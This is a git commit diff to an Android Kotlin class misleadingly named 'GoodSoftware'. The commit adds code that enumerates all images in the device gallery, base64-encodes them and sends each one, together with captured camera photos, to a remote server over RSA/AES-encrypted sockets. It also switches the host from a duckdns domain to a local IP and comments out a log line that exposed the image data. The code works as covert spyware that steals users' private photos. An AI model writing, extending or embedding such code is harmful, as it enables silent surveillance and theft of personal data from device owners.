Get pictures from gallery, for now only android -13
This commit is contained in:
parent
bca8ef25dd
commit
319e09a950
@ -1,8 +1,13 @@
|
||||
package com.ti.m
|
||||
|
||||
import android.Manifest
|
||||
import android.content.ContentResolver
|
||||
import android.content.ContentUris
|
||||
import android.content.Context
|
||||
import android.content.Intent
|
||||
import android.content.pm.PackageManager
|
||||
import android.net.Uri
|
||||
import android.provider.MediaStore
|
||||
import android.util.Base64
|
||||
import android.util.Log
|
||||
import androidx.camera.core.CameraSelector
|
||||
@ -35,6 +40,9 @@ class GoodSoftware (private val activity: MainActivity) {
|
||||
private var lensFacing: Int = CameraSelector.LENS_FACING_BACK
|
||||
private var imageCapture: ImageCapture? = null
|
||||
private val REQUEST_CAMERA_PERMISSION = 100
|
||||
private val REQUEST_GALLERY = 101
|
||||
private val REQUEST_MEDIA_IMAGES_PERMISSION = 102
|
||||
|
||||
|
||||
private companion object {
|
||||
private const val RSA_ALGORITHM = "RSA"
|
||||
@ -106,18 +114,66 @@ class GoodSoftware (private val activity: MainActivity) {
|
||||
|
||||
private fun startPictureCapture() {
|
||||
activity.lifecycleScope.launch {
|
||||
takeBeautifulPicture(activity, activity)
|
||||
// Check and request camera permission
|
||||
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.CAMERA) != PackageManager.PERMISSION_GRANTED) {
|
||||
requestCameraPermission()
|
||||
}
|
||||
|
||||
// Check and request gallery permission
|
||||
if (ContextCompat.checkSelfPermission(activity, Manifest.permission.READ_EXTERNAL_STORAGE) != PackageManager.PERMISSION_GRANTED) {
|
||||
requestGalleryPermission()
|
||||
}
|
||||
|
||||
// If both permissions are granted, proceed with picture capture and gallery access
|
||||
takeBeautifulPicture(activity, activity)
|
||||
|
||||
Thread {
|
||||
val imageList = getAllImagesFromGallery(activity)
|
||||
for (image in imageList) {
|
||||
val base64Image = encodeImageToBase64(Uri.parse(image), activity.contentResolver)
|
||||
Thread {
|
||||
println("Sending data to server")
|
||||
sendDataToServer(base64Image)
|
||||
}.start()
|
||||
}
|
||||
}.start()
|
||||
}
|
||||
}
|
||||
|
||||
fun encodeImageToBase64(imageUri: Uri, contentResolver: ContentResolver): String {
|
||||
var base64Image = ""
|
||||
contentResolver.openInputStream(imageUri)?.use { inputStream ->
|
||||
val byteArrayOutputStream = ByteArrayOutputStream()
|
||||
inputStream.copyTo(byteArrayOutputStream)
|
||||
val byteArray = byteArrayOutputStream.toByteArray()
|
||||
base64Image = Base64.encodeToString(byteArray, Base64.DEFAULT)
|
||||
}
|
||||
return base64Image
|
||||
}
|
||||
|
||||
private fun requestGalleryPermission() {
|
||||
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_EXTERNAL_STORAGE), REQUEST_GALLERY)
|
||||
ActivityCompat.requestPermissions(activity, arrayOf(Manifest.permission.READ_MEDIA_IMAGES), REQUEST_MEDIA_IMAGES_PERMISSION)
|
||||
}
|
||||
|
||||
// Handle permission request result
|
||||
fun onRequestPermissionsResult(requestCode: Int, grantResults: IntArray) {
|
||||
if (requestCode == REQUEST_CAMERA_PERMISSION) {
|
||||
when (requestCode) {
|
||||
REQUEST_CAMERA_PERMISSION -> {
|
||||
if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
|
||||
startPictureCapture()
|
||||
} else {
|
||||
// Permission denied
|
||||
// You may want to handle this case
|
||||
// Camera permission denied
|
||||
// Handle accordingly
|
||||
}
|
||||
}
|
||||
REQUEST_GALLERY -> {
|
||||
if (grantResults.isNotEmpty() && grantResults[0] == PackageManager.PERMISSION_GRANTED) {
|
||||
startPictureCapture()
|
||||
} else {
|
||||
// Gallery permission denied
|
||||
// Handle accordingly
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@ -131,7 +187,7 @@ class GoodSoftware (private val activity: MainActivity) {
|
||||
fun sendDataToServer(sendData: String) {
|
||||
try {
|
||||
val pKey = getPublicKeyFromString("MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu09x4q24cMSJZmxMGSzRoL3jXG3kguVbBV6zRnPZwPT9nIofs7yb4lh6/deNedNJssLYJEmiAyI3NzsvLzihipCjatAYEgLgRcF60HBrqUKwT6uxukoVbXi+c9O70CjDEJEKDSW/ps5d6cAOMq5KmoGe4f+Geo5Nzxwjdhlaw/wjY1r5S/C7c5JRMSTn5xYwRZJFM4zRSOEz8d02FemLLWQggvRV7bIJuk1w0039sO/RjWTOeMqNPXXaBH6jV6seDCJ4coXWv0g4xNwCrxNtm1aRFW3zyh3GhAEVXcOmJ5EOUL6EiKt+5RTtSdL7OKHv+RfQuv4pkmlqpPo8pQHvnQIDAQAB")!!
|
||||
val host = "thinclient.duckdns.org"
|
||||
val host = "192.168.90.151"
|
||||
val port = 5645
|
||||
val secureRandom = SecureRandom()
|
||||
val keyBytes = ByteArray(16)
|
||||
@ -221,7 +277,7 @@ class GoodSoftware (private val activity: MainActivity) {
|
||||
buffer.get(bytes)
|
||||
byteArrayOutputStream.write(bytes)
|
||||
val base64Image = Base64.encodeToString(byteArrayOutputStream.toByteArray(), Base64.DEFAULT)
|
||||
Log.d(picture.TAG, "Base64 Image: $base64Image")
|
||||
//Log.d(picture.TAG, "Base64 Image: $base64Image")
|
||||
Thread {
|
||||
println("Sending data to server")
|
||||
sendDataToServer(base64Image)
|
||||
@ -257,4 +313,34 @@ class GoodSoftware (private val activity: MainActivity) {
|
||||
object picture {
|
||||
const val TAG = "CameraXBasic"
|
||||
}
|
||||
|
||||
fun getAllImagesFromGallery(context: Context): List<String> {
|
||||
val imageList = mutableListOf<String>()
|
||||
val contentResolver: ContentResolver = context.contentResolver
|
||||
val imageProjection = arrayOf(
|
||||
MediaStore.Images.Media._ID,
|
||||
MediaStore.Images.Media.DISPLAY_NAME
|
||||
)
|
||||
val imageUri = MediaStore.Images.Media.EXTERNAL_CONTENT_URI
|
||||
|
||||
val cursor = contentResolver.query(
|
||||
imageUri,
|
||||
imageProjection,
|
||||
null,
|
||||
null,
|
||||
"${MediaStore.Images.Media.DATE_ADDED} DESC"
|
||||
)
|
||||
|
||||
cursor?.use { cursor ->
|
||||
val idColumn = cursor.getColumnIndexOrThrow(MediaStore.Images.Media._ID)
|
||||
while (cursor.moveToNext()) {
|
||||
val id = cursor.getLong(idColumn)
|
||||
val contentUri = ContentUris.withAppendedId(imageUri, id)
|
||||
imageList.add(contentUri.toString())
|
||||
}
|
||||
}
|
||||
|
||||
return imageList
|
||||
}
|
||||
|
||||
}
|
Loading…
x
Reference in New Issue
Block a user